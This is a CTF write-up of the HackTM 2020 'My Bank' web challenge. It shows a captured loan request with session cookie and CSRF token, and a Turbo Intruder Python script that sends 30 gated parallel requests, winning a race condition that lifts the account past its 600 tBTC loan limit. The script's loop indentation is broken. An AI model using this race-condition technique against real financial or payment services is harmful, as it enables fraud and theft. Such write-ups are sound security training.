Solving My Bank from HackTM CTF Quals 2020

Posted on Mon 03 February 2020 in CTF by 0xm4v3rick


The note for this CTF challenge was as follows.

1
2
3
4
5
6
7
Who's got my money?

Please abstain from brute-forcing files.

http://178.128.175.6:50090/

Author: nytr0gen

Opening up the page asks you to register a user. So I registered with test1 username. After registering it redirects you to a page which allows you to borrow money from the bank with following restrictions.

1
2
3
4
Username: test1
Maximum Loan: 600.00 tBTC
Money: 0.00 tBTC
Account TTL: 600 seconds

Another page allows you to buy some things with that loan as shown in below screenshot.

buymenu

So the flag costs 1337 tBTC. My initial thought was to try and somehow reduce the cost of the flag and see if we could buy it for lesser or 0 tBTC. When that didnt work I turned my attention to the request that allowed us to borrow money. We could only use amount between 1-100 at a time to request loan. So the request looked as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 178.128.175.6:50090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://178.128.175.6:50090/
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Origin: http://178.128.175.6:50090
Connection: close
Cookie: session=.eJwNy0sKwlAMBdC9ZOyDvF-TuBmJ6Q2UgoLakbj3eubnS_F-5e3z3PGgK2XUO_dqE96tw9bsQyBIToYKkL5MZ6ULHce2_ke1piI6SoiPMlJn8R61aCjYbGlok34nOaYc6w.XjasFg.PWnojQn-C6SpmQjDY7mcqEUjpJQ
Upgrade-Insecure-Requests: 1

csrf_token=ImZjMWIwMzE5NWVhMzkzZTlkZjM0N2U3ZWYwZjBlODdlZWZhNjVhMDgi.XjasFg._FcPxt2e1-gKxNulB_K50yGj9yk&loan=100

Response was 302 FOUND and we have 100 tBTC in our account. I tried to simply increase the loan amount in the next request but that didnt work. Also requesting loan after exhausting 600 limit didnt work. So the next thing that came to mind was to try race condition on this functionality.I had a feeling that it would work out. Such functionalities are frequently susceptible to race conditions.

Turbo intruder is an awesome tool with which we can test for it. So I sent the above request to the turbo intruder with marker set at loan=100%s and used below python code to test for it. It was picked up from the turbo turbo intruder repo here

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                       concurrentConnections=30,
                       requestsPerConnection=100,
                       pipeline=False
                       )

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(30):
    engine.queue(target.req, target.baseInput, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

After launching the attack with the above configuration it gave me a bunch of 302 as shown below.

turbo

I went back and checked the page to see if that worked and I was shown 1400 tBTC in the account which meant the attacked worked quite well.

account

Only thing now that was left to do was buy the flag with with 1337 tBTC and retrieve the flag.

flag

That was the fasted challenge I have ever completed and the first race condition I exploited. Round about an hour including the research required to exploit which wasn't much as it was quite straight forward. The main point here was to figure out that the vulnerability was the race condition. Having read on race conditions before I could deduce it was a possibility.
Finally, thanks to HackTM for a nice challenge.